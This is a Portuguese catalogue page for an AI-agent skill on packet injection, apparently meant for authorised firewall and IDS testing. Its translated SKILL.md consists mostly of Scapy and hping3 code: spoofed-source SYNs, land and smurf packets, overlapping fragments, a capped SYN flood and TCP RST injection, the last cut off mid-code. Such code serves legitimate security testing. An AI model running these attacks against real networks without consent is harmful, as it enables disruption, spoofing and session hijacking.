Pular para o conteúdo
Skillpedia
Código em geral35 mil · #6117

performing-packet-injection-attack

Ajuda seu agente a criar e enviar pacotes de rede customizados para testes de segurança.

O que ela faz

Esta ferramenta permite que você envie pacotes de rede personalizados para testar a segurança de uma rede. Você pode simular diferentes tipos de tráfego para verificar como firewalls e sistemas de detecção de intrusos reagem.

Quando usar

  • ✓Testar se um firewall bloqueia tráfego específico.
  • ✓Verificar se um sistema de segurança detecta pacotes maliciosos.
  • ✓Simular ataques para ver como a rede se comporta.

Exemplo do que pedir para a IA

“Envie um pacote TCP SYN com o IP de origem falsificado para 10.10.20.10 na porta 80.”

Quer saber mais? Abra as seções abaixo.

Como usar

O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.

Link da skill

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/performing-packet-injection-attack/SKILL.md

Mensagem pronta para colar

Use esta skill para me ajudar: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/performing-packet-injection-attack/SKILL.md Leia o arquivo SKILL.md desse link e siga as instruções dele na minha tarefa.
Como funciona

A ferramenta usa programas como Scapy para criar pacotes de rede com configurações específicas. Esses pacotes são então enviados para a rede alvo para observar as respostas e testar as defesas.

Instalação

Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.

No terminal (Claude Code, Codex, Cursor), na pasta do projeto:

npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill performing-packet-injection-attack

Ou baixe só o arquivo:

curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/performing-packet-injection-attack/SKILL.md -o SKILL.md
Conteúdo técnico (SKILL.md)

Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.

Realizando Ataque de Injeção de Pacotes

Quando Usar

  • Testar regras de IDS/IPS injetando tráfego que deve acionar assinaturas de detecção específicas
  • Validar regras de firewall criando pacotes com flags, endereços de origem e payloads específicos
  • Avaliar a resiliência da pilha de rede a pacotes malformados, ataques de fragmentação e violações de protocolo
  • Simular tráfego falsificado para testar controles anti-falsificação (BCP38, uRPF)
  • Realizar injeção de reset TCP para testar a resiliência de conexões e cenários de sequestro de sessão

Não use para ataques de negação de serviço contra sistemas de produção, para falsificar tráfego a fim de incriminar terceiros, ou sem autorização explícita para a rede alvo.

Pré-requisitos

  • Autorização por escrito especificando os alvos dentro do escopo e as técnicas de injeção de pacotes aprovadas
  • Scapy, hping3 e Nemesis instalados na plataforma de teste
  • Privilégios de root/sudo para acesso a soquetes brutos e criação de pacotes
  • Wireshark ou tcpdump no lado do alvo para verificar a entrega do pacote
  • Compreensão dos internos do protocolo TCP/IP, campos de cabeçalho e combinações de flags

Fluxo de Trabalho

Passo 1: Criar e Enviar Pacotes de Teste Básicos com Scapy

#!/usr/bin/env python3
"""Basic packet injection examples using Scapy for authorized testing."""

from scapy.all import *

# TCP SYN packet (port scan simulation)
syn = IP(dst="10.10.20.10") / TCP(dport=80, flags="S", seq=1000)
response = sr1(syn, timeout=2, verbose=0)
if response and response.haslayer(TCP):
    if response[TCP].flags == "SA":
        print(f"[*] Port 80 is OPEN (SYN-ACK received)")
    elif response[TCP].flags == "RA":
        print(f"[*] Port 80 is CLOSED (RST-ACK received)")

# TCP XMAS scan packet (all flags set)
xmas = IP(dst="10.10.20.10") / TCP(dport=80, flags="FPU")
send(xmas, verbose=0)
print("[*] XMAS packet sent (should trigger IDS)")

# NULL scan packet (no flags)
null = IP(dst="10.10.20.10") / TCP(dport=80, flags="")
send(null, verbose=0)
print("[*] NULL packet sent")

# Crafted ICMP packet with custom payload
icmp_custom = IP(dst="10.10.20.10") / ICMP(type=8) / Raw(load="SECURITY_TEST_PAYLOAD")
send(icmp_custom, verbose=0)
print("[*] Custom ICMP packet sent")

# UDP packet to test firewall rules
udp_test = IP(dst="10.10.20.10") / UDP(dport=53) / DNS(rd=1, qd=DNSQR(qname="test.example.com"))
response = sr1(udp_test, timeout=2, verbose=0)
if response:
    print(f"[*] DNS response received from {response[IP].src}")

Passo 2: Falsificação de IP e Validação Anti-Falsificação

#!/usr/bin/env python3
"""Test anti-spoofing controls with spoofed source IP packets."""

from scapy.all import *

# Spoofed source IP (should be blocked by BCP38/uRPF)
spoofed_syn = IP(src="192.0.2.100", dst="10.10.20.10") / TCP(dport=80, flags="S")
send(spoofed_syn, verbose=0)
print("[*] Sent SYN with spoofed source 192.0.2.100")

# Land attack test (source = destination)
land = IP(src="10.10.20.10", dst="10.10.20.10") / TCP(sport=80, dport=80, flags="S")
send(land, verbose=0)
print("[*] Land attack packet sent (src==dst)")

# Smurf attack test (ICMP to broadcast with spoofed source)
smurf = IP(src="10.10.20.10", dst="10.10.20.255") / ICMP(type=8)
send(smurf, verbose=0)
print("[*] Smurf test packet sent (ICMP to broadcast)")

# IP fragment overlap test
frag1 = IP(dst="10.10.20.10", flags="MF", frag=0) / TCP(dport=80, flags="S") / Raw(load="A"*24)
frag2 = IP(dst="10.10.20.10", frag=2) / Raw(load="B"*24)  # Overlapping fragment
send(frag1, verbose=0)
send(frag2, verbose=0)
print("[*] Overlapping IP fragments sent")

Passo 3: Manipulação de Sessão TCP

# TCP RST injection to test connection resilience
# Using hping3 to send RST packets
sudo hping3 -S -p 80 --rst -c 5 10.10.20.10

# SYN flood test (limited volume for testing, not DoS)
sudo hping3 -S --flood -V -p 80 -c 100 10.10.20.10
# Note: --flood sends at maximum rate; -c 100 limits to 100 packets

# Test TCP window manipulation
sudo hping3 -S -p 80 -w 0 -c 5 10.10.20.10  # Zero window
sudo hping3 -S -p 80 -w 65535 -c 5 10.10.20.10  # Max window

# Idle scan probe (to test if a host can be used as zombie)
sudo hping3 -SA -p 80 -c 3 10.10.20.10
# Check IP ID values in response for predictability
#!/usr/bin/env python3
"""Injeção de RST TCP para testar a resiliência da sessão."""

from scapy.all import *

# Capturar uma conexão TCP ativa e injetar RST
def rst_inject(pkt):
    if pkt.haslayer(TCP) and pkt[TCP].flags == "A":
        rst = IP(
            src=pkt[IP].dst,

…
Perguntas frequentes

Preciso de permissão para usar esta ferramenta?

Sim, você precisa de autorização por escrito para testar qualquer rede, pois o envio de pacotes pode ser interpretado como um ataque.

Quais programas são necessários?

Você precisa ter o Scapy, hping3 e Nemesis instalados, além de privilégios de administrador (root/sudo) para enviar os pacotes.

Posso usar isso para atacar sistemas?

Não, esta ferramenta é apenas para testes de segurança autorizados. Usá-la para ataques reais ou sem permissão é ilegal e antiético.

Detalhes

Descrição original do autor

Crafts and injects custom network packets using Scapy, hping3, and Nemesis during authorized security assessments to test firewall rules, IDS detection, protocol handling, and network stack resilience against malformed and spoofed traffic. '

repo: mukul975/Anthropic-Cybersecurity-Skills

Popularidade

Estrelas no GitHub
35 mil
Posição no ranking
#6117
Licença
Apache-2.0
Atualizada em
31/08/2026

Essa skill é útil?

0

Entre para votar.

Comentários

  • …

Mais skills deste repositório

Skills parecidas